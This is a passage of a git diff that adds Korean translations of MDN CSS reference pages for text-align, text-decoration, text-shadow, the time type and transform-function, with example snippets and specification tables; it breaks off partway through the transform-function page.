+<h3 id="값">값</h3>
+
+<dl>
+ <dt id="start"><code>start</code> {{experimental_inline}}</dt>
+ <dd>쓰기 방식이 좌횡서면 <code>left</code>와 같고, 우횡서면 <code>right</code>과 같습니다.</dd>
+ <dt id="end"><code>end</code> {{experimental_inline}}</dt>
+ <dd>쓰기 방식이 좌횡서면 <code>right</code>과 같고, 우횡서면 <code>left</code>와 같습니다.</dd>
+ <dt id="left"><code>left</code></dt>
+ <dd>인라인 콘텐츠를 줄 상자의 왼쪽 모서리로 정렬합니다.</dd>
+ <dt id="right"><code>right</code></dt>
+ <dd>인라인 콘텐츠를 줄 상자의 오른쪽 모서리로 정렬합니다.</dd>
+ <dt id="center"><code>center</code></dt>
+ <dd>인라인 콘텐츠를 줄 상자의 가운데로 정렬합니다.</dd>
+ <dt id="justify"><code>justify</code></dt>
+ <dd>인라인 콘텐츠를 양쪽 정렬합니다. 마지막 줄을 제외하고, 줄 상자의 왼쪽과 오른쪽 끝에 텍스트를 맞추기 위해 사이 공간을 띄웁니다.</dd>
+ <dt id="justify-all"><code>justify-all</code> {{experimental_inline}}</dt>
+ <dd><code>justify</code>와 같지만 마지막 줄에도 적용합니다.</dd>
+ <dt id="match-parent"><code>match-parent</code> {{experimental_inline}}</dt>
+ <dd><code>inherit</code>과 비슷하지만, <code>start</code>와 <code>end</code> 값을 부모의 {{cssxref("direction")}}에 맞춰 적절한 <code>left</code>와 <code>right</code> 값으로 치환합니다.</dd>
+ <dt id="string">{{cssxref("&lt;string&gt;")}} {{experimental_inline}}</dt>
+ <dd>표 칸에 적용할 경우, 칸의 콘텐츠를 해당 문자에 맞춰 정렬합니다.</dd>
+</dl>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>양쪽 정렬 적용 시 생기는 불규칙한 여백은 난독증 등 인지력 저하를 겪고 있는 사용자에게 문제가 될 수 있습니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html">Understanding Success Criterion 1.4.8 | Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="왼쪽_정렬">왼쪽 정렬</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p class="example"&gt;
+  Integer elementum massa at nulla placerat varius.
+  Suspendisse in libero risus, in interdum massa.
+  Vestibulum ac leo vitae metus faucibus gravida ac in neque.
+  Nullam est eros, suscipit sed dictum quis, accumsan a ligula.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight:[2] notranslate">.example {
+  text-align: left;
+  border: solid;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("왼쪽_정렬","100%","100%")}}</p>
+
+<h3 id="가운데_정렬">가운데 정렬</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p class="example"&gt;
+  Integer elementum massa at nulla placerat varius.
+  Suspendisse in libero risus, in interdum massa.
+  Vestibulum ac leo vitae metus faucibus gravida ac in neque.
+  Nullam est eros, suscipit sed dictum quis, accumsan a ligula.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css; highlight:[2] notranslate">.example {
+  text-align: center;
+  border: solid;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("가운데_정렬","100%","100%")}}</p>
+
+<h3 id="양쪽_정렬">양쪽 정렬</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p class="example"&gt;
+  Integer elementum massa at nulla placerat varius.
+  Suspendisse in libero risus, in interdum massa.
+  Vestibulum ac leo vitae metus faucibus gravida ac in neque.
+  Nullam est eros, suscipit sed dictum quis, accumsan a ligula.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css; highlight:[2] notranslate">.example {
+  text-align: justify;
+  border: solid;
+}</pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample("양쪽_정렬","100%","100%")}}</p>
+
+<h3 id="참고">참고</h3>
+
+<p>인라인 콘텐츠를 가운데 정렬하지 않고 자신을 정렬하는 법은 {{cssxref("margin")}}을 <code>auto</code>로 설정하는 것입니다.</p>
+
+<pre class="brush: css notranslate">.something {
+  margin: auto;
+}
+</pre>
+
+<pre class="brush: css notranslate">.something {
+  margin: 0 auto;
+}
+</pre>
+
+<pre class="brush: css notranslate">.something {
+  margin-left: auto;
+  margin-right: auto;
+}
+</pre>
+
+<ul>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#text-align', 'text-align')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>No changes</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Text', '#alignment', 'text-align')}}</td>
+   <td>{{Spec2('CSS4 Text')}}</td>
+   <td>Added the <code>&lt;string&gt;</code> value.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#text-align-property', 'text-align')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Added the <code>start</code>, <code>end</code>, and <code>match-parent</code> values. Changed the unnamed initial value to <code>start</code> (which it was).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#alignment-prop', 'text-align')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No changes</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#text-align', 'text-align')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.text-align")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("margin","margin: auto")}}, {{Cssxref("margin-left","margin-left: auto")}}, {{Cssxref("vertical-align")}}</li>
+</ul>
diff --git a/files/ko/web/css/text-decoration/index.html b/files/ko/web/css/text-decoration/index.html
new file mode 100644
index 0000000000..579bf26670
--- /dev/null
+++ b/files/ko/web/css/text-decoration/index.html
@@ -0,0 +1,133 @@
+---
+title: text-decoration
+slug: Web/CSS/text-decoration
+tags:
+  - CSS
+  - CSS Property
+  - CSS Text Decoration
+  - Reference
+translation_of: Web/CSS/text-decoration
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>text-decoration</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>은 글씨의 장식(선) 색을 지정합니다.</span> {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-style")}}, {{cssxref("text-decoration-thickness")}}속성 값을 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-decoration.html")}}</div>
+
+
+
+<p>글씨 장식은 모든 하위 텍스트 요소에 적용됩니다. 따라서 자식 요소는 부모가 적용한 장식을 제거할 수 없습니다. 예를 들어 <code>&lt;p&gt;이 문단에 &lt;em&gt;강조 표시&lt;/em&gt;가 있어요.&lt;/p&gt;</code> 마크업에 <code>p { text-decoration: underline; }</code> 스타일을 적용하면 전체 문단에 밑줄이 쳐집니다. <code>em { text-decoration: none; }</code>을 추가하더라도 아무 변화도 일어나지 않습니다. 다만 <code>em { text-decoration: overline; }</code> 스타일은 "강조 표시"가 윗줄과 밑줄 모두 갖게 합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p id="Values"><code>text-decoration</code> 속성은 한 개 이상의 공백으로 구분한 값으로 지정할 수 있습니다. 각각의 값은 본디 속성에서 사용하는 값입니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("text-decoration-line")}}</dt>
+ <dd><code>underline</code>, <code>line-through</code> 등 장식의 종류.</dd>
+ <dt>{{cssxref("text-decoration-color")}}</dt>
+ <dd>장식의 색.</dd>
+ <dt>{{cssxref("text-decoration-style")}}</dt>
+ <dd><code>solid</code>, <code>wavy</code>, <code>dashed</code> 등 장식의 스타일.</dd>
+ <dt>{{cssxref("text-decoration-thickness")}}</dt>
+ <dd>요소를 꾸미는데 사용되는 선의 두께를 설정합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">.under {
+  text-decoration: underline red;
+}
+
+.over {
+  text-decoration: wavy overline lime;
+}
+
+.line {
+  text-decoration: line-through;
+}
+
+.plain {
+  text-decoration: none;
+}
+
+.underover {
+  text-decoration: dashed underline overline;
+}
+
+.thick {
+  text-decoration: solid underline purple 4px;
+}
+
+.blink {
+  text-decoration: blink;
+}
+</pre>
+
+<pre class="brush: html">&lt;p class="under"&gt;밑줄을 가진 글씨입니다.&lt;/p&gt;
+&lt;p class="over"&gt;윗줄을 가진 글씨입니다.&lt;/p&gt;
+&lt;p class="line"&gt;취소선을 가진 글씨입니다.&lt;/p&gt;
+&lt;p&gt;여기 링크는 기본값과 다르게 &lt;a class="plain" href="#"&gt;밑줄이 없습니다&lt;/a&gt;.
+    사용자는 보통 하이퍼링크를 구분할 때 밑줄 여부로 판단하므로
+    지우기 전에 조심해야 합니다.&lt;/p&gt;
+&lt;p class="underover"&gt;밑줄과 윗줄 모두 가진 글씨입니다.&lt;/p&gt;
+&lt;p class="thick"&gt;이 글씨는 아주 두꺼운 보라색 밑줄을 표시합니다. (브라우저가 지원하는 경우)&lt;/p&gt;
+&lt;p class="blink"&gt;이 글씨는 브라우저에 따라서 깜빡일 수 있어요.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Examples','auto','320')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Text Decoration')}}</td>
+   <td>{{Spec2('CSS4 Text Decoration')}}</td>
+   <td>Adds {{cssxref("text-decoration-thickness")}}; note that this isn't yet officially part of the shorthand — this is as yet unspecified.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-decoration-property', 'text-decoration')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Transformed into a shorthand property. Added support for the value of {{cssxref('text-decoration-style')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#lining-striking-props', 'text-decoration')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant changes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#text-decoration', 'text-decoration')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.text-decoration")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>The individual text-decoration properties are {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-color")}}, and {{cssxref("text-decoration-style")}}.</li>
+ <li>The {{cssxref("list-style")}} attribute controls the appearance of items in HTML {{HTMLElement("ol")}} and {{HTMLElement("ul")}} lists.</li>
+</ul>
diff --git a/files/ko/web/css/text-shadow/index.html b/files/ko/web/css/text-shadow/index.html
new file mode 100644
index 0000000000..17c04da65c
--- /dev/null
+++ b/files/ko/web/css/text-shadow/index.html
@@ -0,0 +1,126 @@
+---
+title: text-shadow
+slug: Web/CSS/text-shadow
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/text-shadow
+---
+<div>{{CSSRef}}</div>
+
+<p><code><strong>text-shadow</strong></code> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 텍스트에 그림자(shadow)를 추가합니다. 텍스트와 그 장식에 적용 할 쉼표로 구분 된 그림자 목록을 허용합니다. 각 그림자는 요소, 흐림 반경 및 색상의 X 및 Y 오프셋 조합으로 설명됩니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/text-shadow.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre><code>/* offset-x | offset-y | blur-radius | color */
+text-shadow: 1px 1px 2px black;
+
+/* color | offset-x | offset-y | blur-radius */
+text-shadow: #fc0 1px 0 10px;
+
+/* offset-x | offset-y | color */
+text-shadow: 5px 5px #558abb;
+
+/* color | offset-x | offset-y */
+text-shadow: white 2px 5px;
+
+/* offset-x | offset-y
+/* Use defaults for color and blur-radius */
+text-shadow: 5px 10px;
+
+/* Global values */
+text-shadow: inherit;
+text-shadow: initial;
+text-shadow: unset;</code></pre>
+
+<p>This property is specified as a comma-separated list of shadows.</p>
+
+<p>Each shadow is specified as two or three <code>&lt;length&gt;</code> values, followed optionally by a <code>&lt;color&gt;</code> value. The first two <code>&lt;length&gt;</code> values are the <code>&lt;offset-x&gt;</code> and <code>&lt;offset-y&gt;</code> values. The third, optional, <code>&lt;length&gt;</code> value is the <code>&lt;blur-radius&gt;</code>. The<code>&lt;color&gt;</code> value is the shadow's color.</p>
+
+<p>When more than one shadow is given, shadows are applied front-to-back, with the first-specified shadow on top.</p>
+
+<p>This property applies to both {{cssxref("::first-line")}} and {{cssxref("::first-letter")}} <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elements</a>.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>선택값(생략가능). 위치값(offset)이전/이후에 설정이 가능하다. 색상(color)값이 설정되지 않으면, 브라우저 기본값(UA-chosen color)이 사용된다. {{ note("만약 다양한 브라우저에서 동일하게 표현하고 싶다면, 특정 색상(color)을 지정할 것.") }}</dd>
+ <dt><code>&lt;offset-x&gt; &lt;offset-y&gt;</code></dt>
+ <dd>Required. These {{cssxref("&lt;length&gt;")}} values specify the shadow's distance from the text. <code>&lt;offset-x&gt;</code> specifies the horizontal distance; a negative value places the shadow to the left of the text. <code>&lt;offset-y&gt;</code> specifies the vertical distance; a negative value places the shadow above the text. If both values are <code>0</code>, the shadow is placed directly behind the text, although it may be partly visible due to the effect of <code>&lt;blur-radius&gt;</code>.</dd>
+ <dt><code>&lt;blur-radius&gt;</code></dt>
+ <dd>Optional. This is a {{cssxref("&lt;length&gt;")}} value. The higher the value, the bigger the blur; the shadow becomes wider and lighter. If not specified, it defaults to <code>0</code>.</dd>
+ <dt>
+ <h3 id="Formal_syntax">Formal syntax</h3>
+
+ <pre>{{csssyntax}}
+</pre>
+
+ <h2 id="Examples">Examples</h2>
+
+ <h3 id="Simple_shadow">Simple shadow</h3>
+
+ <pre><code>.red-text-shadow {
+  text-shadow: red 0 -2px;
+}</code></pre>
+
+ <pre><code>&lt;p class="red-text-shadow"&gt;Sed ut perspiciatis unde omnis iste
+    natus error sit voluptatem accusantium doloremque laudantium,
+    totam rem aperiam, eaque ipsa quae ab illo inventore.&lt;/p&gt;</code></pre>
+
+ <p>{{EmbedLiveSample('Simple_shadow', '660px', '90px')}}</p>
+
+ <h3 id="Multiple_shadows">Multiple shadows</h3>
+
+ <pre><code>.white-text-with-blue-shadow {
+  text-shadow: 1px 1px 2px black, 0 0 1em blue, 0 0 0.2em blue;
+  color: white;
+  font: 1.5em Georgia, serif;
+}</code></pre>
+
+ <pre><code>&lt;p class="white-text-with-blue-shadow"&gt;Sed ut perspiciatis unde omnis iste
+    natus error sit voluptatem accusantium doloremque laudantium,
+    totam rem aperiam, eaque ipsa quae ab illo inventore.&lt;/p&gt;</code></pre>
+
+ <p>{{EmbedLiveSample('Multiple_shadows', '660px', '170px')}}</p>
+
+ <h2 id="Specifications">Specifications</h2>
+
+ <table>
+  <thead>
+   <tr>
+    <th scope="col">Specification</th>
+    <th scope="col">Status</th>
+    <th scope="col">Comment</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'text-shadow')}}</td>
+    <td>{{Spec2('CSS3 Transitions')}}</td>
+    <td>Specifies <code>text-shadow</code> as animatable.</td>
+   </tr>
+   <tr>
+    <td>{{SpecName('CSS3 Text Decoration', '#text-shadow-property', 'text-shadow')}}</td>
+    <td>{{Spec2('CSS3 Text Decoration')}}</td>
+    <td>The CSS property <code>text-shadow</code> was <a href="http://www.w3.org/TR/2008/REC-CSS2-20080411/text.html#text-shadow-props">improperly defined in CSS2</a> and dropped in CSS2 (Level 1). The CSS Text Module Level 3 spec refined the syntax. Later it was moved to <a href="https://www.w3.org/TR/css-text-decor-3/">CSS Text Decoration Module Level 3</a>.</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <p id="Syntax">{{cssinfo}}</p>
+
+ <h2 id="Browser_compatibility">Browser compatibility</h2>
+
+ <p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+ <p>{{Compat("css.properties.text-shadow")}}</p>
+
+ <h3 id="Quantum_CSS_notes">Quantum CSS notes</h3>
+ Gecko has a bug whereby {{cssxref("transition")}}s will not work when transitioning from a <code>text-shadow</code> with a color specified to a <code>text-shadow</code> without a color specified ({{bug(726550)}}). This has been fixed in Firefox's new parallel CSS engine (also known as <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> or <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, planned for release in Firefox 57).
+
+ <h2 id="See_also">See also</h2>
+ <a href="https://cssgenerator.org/text-shadow-css-generator.html">Text Shadow CSS Generator</a> - An interactive text shadow CSS generator. {{cssxref("box-shadow")}} The {{cssxref("&lt;color&gt;")}} data type (for specifying the shadow color) <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Applying_color">Applying color to HTML elements using CSS</a></dt>
+</dl>
diff --git a/files/ko/web/css/time/index.html b/files/ko/web/css/time/index.html
new file mode 100644
index 0000000000..2a95bb99ea
--- /dev/null
+++ b/files/ko/web/css/time/index.html
@@ -0,0 +1,88 @@
+---
+title: <time>
+slug: Web/CSS/time
+tags:
+  - CSS
+  - CSS Date Type
+  - Reference
+  - Web
+translation_of: Web/CSS/time
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;time&gt;</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 시간 값을 초나 밀리초 단위로 나타냅니다. {{cssxref("animation")}}, {{cssxref("transition")}}과 관련 속성에서 사용합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;time&gt;</code> 자료형은 ​​​​​​{{cssxref("&lt;number&gt;")}}와, 그 뒤에 붙는 아래 단위 중 하나로 이루어져 있습니다. 선택 사항으로 하나의 <code>+</code> 또는 <code>-</code> 기호를 맨 앞에 붙일 수 있습니다. 다른 모든 수치와 마찬가지로 단위와 숫자 사이에는 공백이 없습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>0</code>은 단위와 상관 없이 언제나 동일하지만 시간 단위를 생략할 수 없습니다. 즉 <code>0</code>은 유효하지 않은 구문이며 <code>0s</code>나 <code>0ms</code>를 나타내지 않습니다.</p>
+</div>
+
+<h3 id="단위">단위</h3>
+
+<dl>
+ <dt><strong><code id="s">s</code></strong></dt>
+ <dd>시간을 초 단위로 나타냅니다. 예시: <code>0s</code>, <code>1.5s</code>, <code>-60s</code>.</dd>
+ <dt><strong><code id="ms">ms</code></strong></dt>
+ <dd>시간을 밀리초 단위로 나타냅니다. 예시: <code>0ms</code>, <code>150.25ms</code>, <code>-60000ms</code>.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고:</strong> <code>s</code>와 <code>ms</code>의 변환은 <code>1s</code> = <code>1000ms</code>를 따릅니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유효한_시간">유효한 시간</h3>
+
+<pre>12s         양의 정수
+-456ms      음의 정수
+4.3ms       정수 아닌 실수
+14mS        단위는 대소문자 구분을 하지 않지만, 대문자는 추천하지 않음
++0s         + 뒤의 0과 단위
+-0ms        - 뒤의 0과 단위
+</pre>
+
+<h3 id="유효하지_않은_시간">유효하지 않은 시간</h3>
+
+<pre class="example-bad">0           &lt;length&gt;는 단위 없는 0을 받을 수 있지만, &lt;time&gt;은 불가능
+12.0        단위가 없으므로 &lt;number&gt;지만 &lt;time&gt;이 아님
+7 ms        수와 단위 사이에 공백은 불허
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values','#time','&lt;time&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values','#time','&lt;time&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Normative definition of <code>s</code> and <code>ms</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1','aural.html#times','&lt;time&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Informal definition of <code>s</code> and <code>ms</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.time")}}</p>
diff --git a/files/ko/web/css/transform-function/index.html b/files/ko/web/css/transform-function/index.html
new file mode 100644
index 0000000000..3c17fbba85
--- /dev/null
+++ b/files/ko/web/css/transform-function/index.html
@@ -0,0 +1,158 @@
+---
+title: <transform-function>
+slug: Web/CSS/transform-function
+tags:
+  - CSS
+  - CSS Data Type
+  - CSS Transforms
+  - Layout
+  - Reference
+translation_of: Web/CSS/transform-function
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>&lt;transform-function&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 요소의 외형에 영향을 주는 변형을 나타냅니다. 변형 함수는 2D 또는 3D 공간 내에서 요소를 회전하고, 크기를 바꾸고, 왜곡하고, 이동할 수 있습니다. {{cssxref("transform")}} 속성에서 사용합니다.</p>
+
+<h2 id="변형을_수학적으로_표현하기">변형을 수학적으로 표현하기</h2>
+
+<p>HTML요소의 크기와 형태, 그리고 요소에 가해진 변형을 표현할 땐 다양한 좌표계를 사용할 수 있습니다. 가장 흔히 사용하는건 <a href="https://ko.wikipedia.org/wiki/%EC%A7%81%EA%B5%90_%EC%A2%8C%ED%91%9C%EA%B3%84">직교좌표계</a>이나, 가끔 <a href="https://ko.wikipedia.org/wiki/%EB%8F%99%EC%B0%A8%EC%A2%8C%ED%91%9C">동차좌표계</a>도 쓰입니다.</p>
+
+<h3 id="직교좌표"><a href="/@api/deki/files/5796/=coord_in_R2.png"><img src="/files/3438/coord_in_R2.png" style="float: right; width: 171px;"></a>직교좌표</h3>
+
+<p>직교좌표계 평면 위의 점은 X 좌표(가로 좌표)와 Y 좌표(세로 좌표)를 사용해 표현하며, 벡터 표현 <code>(x, y)</code>를 사용해 나타냅니다.</p>
+
+<p>CSS (및 다른 대부분의 컴퓨터 그래픽)에서, 원점 <code>(0, 0)</code>은 요소의 좌상단 꼭짓점을 가리킵니다. 양의 좌표는 원점의 오른쪽과 아래로 진행하고, 음의 좌표는 왼쪽과 위로 진행합니다. 따라서 오른쪽으로 2단위, 아래쪽으로 5단위에 위치한 점은 <code>(2, 5)</code>이고 왼쪽으로 3단위, 위쪽으로 12단위 나아간 점은 <code>(-3, -12)</code>입니다.</p>
+
+<h3 id="변형_함수">변형 함수</h3>
+
+<p>Transformation functions alter the appearance of an element by manipulating the values of its coordinates. A linear transformation function is described using a 2×2 matrix, like this:</p>
+
+<p style="text-align: center;"><math> <mfenced> <mtable> <mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd></mtr> <mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd></mtr> </mtable> </mfenced> </math></p>
+
+<p>The function is applied to an element by using matrix multiplication. Thus, each coordinate changes based on the values in the matrix:</p>
+
+<p style="text-align: center;"><math> <mfenced> <mtable> <mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd></mtr> <mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd></mtr> </mtable> </mfenced> <mfenced> <mtable> <mtr><mtd><mi>x</mi></mtd></mtr><mtr><mtd><mi>y</mi></mtd></mtr> </mtable> </mfenced> <mo>=</mo> <mfenced> <mtable> <mtr> <mtd><mi>a</mi><mi>x</mi><mo>+</mo><mi>c</mi><mi>y</mi></mtd> </mtr> <mtr> <mtd><mi>b</mi><mi>x</mi><mo>+</mo><mi>d</mi><mi>y</mi></mtd> </mtr> </mtable> </mfenced> </math></p>
+
+<p>It is even possible to apply several transformations in a row:</p>
+
+<p style="text-align: center;"><math> <mfenced> <mtable> <mtr> <mtd><msub><mi>a</mi><mn>1</mn></msub></mtd> <mtd><msub><mi>c</mi><mn>1</mn></msub></mtd> </mtr> <mtr> <mtd><msub><mi>b</mi><mn>1</mn></msub></mtd> <mtd><msub><mi>d</mi><mn>1</mn></msub></mtd> </mtr> </mtable> </mfenced> <mfenced> <mtable> <mtr> <mtd><msub><mi>a</mi><mn>2</mn></msub></mtd> <mtd><msub><mi>c</mi><mn>2</mn></msub></mtd> </mtr> <mtr> <mtd><msub><mi>b</mi><mn>2</mn></msub></mtd> <mtd><msub><mi>d</mi><mn>2</mn></msub></mtd> </mtr> </mtable> </mfenced> <mo>=</mo> <mfenced> <mtable> <mtr> <mtd> <msub><mi>a</mi><mn>1</mn></msub> <msub><mi>a</mi><mn>2</mn></msub> <mo>+</mo> <msub><mi>c</mi><mn>1</mn></msub> <msub><mi>b</mi><mn>2</mn></msub> </mtd> <mtd> <msub><mi>a</mi><mn>1</mn></msub> <msub><mi>c</mi><mn>2</mn></msub> <mo>+</mo> <msub><mi>c</mi><mn>1</mn></msub> <msub><mi>d</mi><mn>2</mn></msub> </mtd> </mtr> <mtr> <mtd> <msub><mi>b</mi><mn>1</mn></msub> <msub><mi>a</mi><mn>2</mn></msub> <mo>+</mo> <msub><mi>d</mi><mn>1</mn></msub> <msub><mi>b</mi><mn>2</mn></msub> </mtd> <mtd> <msub><mi>b</mi><mn>1</mn></msub> <msub><mi>c</mi><mn>2</mn></msub> <mo>+</mo> <msub><mi>d</mi><mn>1</mn></msub> <msub><mi>d</mi><mn>2</mn></msub> </mtd> </mtr> </mtable> </mfenced> </math></p>
+
+<p>With this notation, it is possible to describe, and therefore compose, most common transformations: rotations, scaling, or skewing. (In fact, all transformations that are linear functions can be described.) Composite transformations are effectively applied in order from right to left.</p>
+
+<p>However, one major transformation is not linear, and therefore must be special-cased when using this notation: translation. The translation vector <code>(tx, ty)</code> must be expressed separately, as two additional parameters.</p>
+
+<div class="note">
+<p><strong>참고:</strong> Though trickier than Cartesian coordinates, <a class="external" href="https://en.wikipedia.org/wiki/Homogeneous_coordinates">homogeneous coordinates</a> in <a class="external" href="https://en.wikipedia.org/wiki/Projective_geometry">projective geometry</a> lead to 3×3 transformation matrices, and can simply express translations as linear functions.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<p>The <code>&lt;transform-function&gt;</code> data type is specified using one of the transformation functions listed below. Each function applies a geometric operation in either 2D or 3D.</p>
+
+<h3 id="행렬_변형">행렬 변형</h3>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/matrix">matrix()</a></code></dt>
+ <dd>Describes a homogeneous 2D transformation matrix.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/matrix3d">matrix3d()</a></code></dt>
+ <dd>Describes a 3D transformation as a 4×4 homogeneous matrix.</dd>
+</dl>
+
+<h3 id="원근">원근</h3>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/perspective">perspective()</a></code></dt>
+ <dd>Sets the distance between the user and the z=0 plane.</dd>
+</dl>
+
+<h3 id="회전">회전</h3>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/rotate">rotate()</a></code></dt>
+ <dd>Rotates an element around a fixed point on the 2D plane.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/rotate3d">rotate3d()</a></code></dt>
+ <dd>Rotates an element around a fixed axis in 3D space.</dd>
+ <dt><code><a href="/en-US/docs/Web/CSS/transform-function/rotateX">rotateX()</a></code></dt>
+ <dd>Rotates an element around the horizontal axis.</dd>
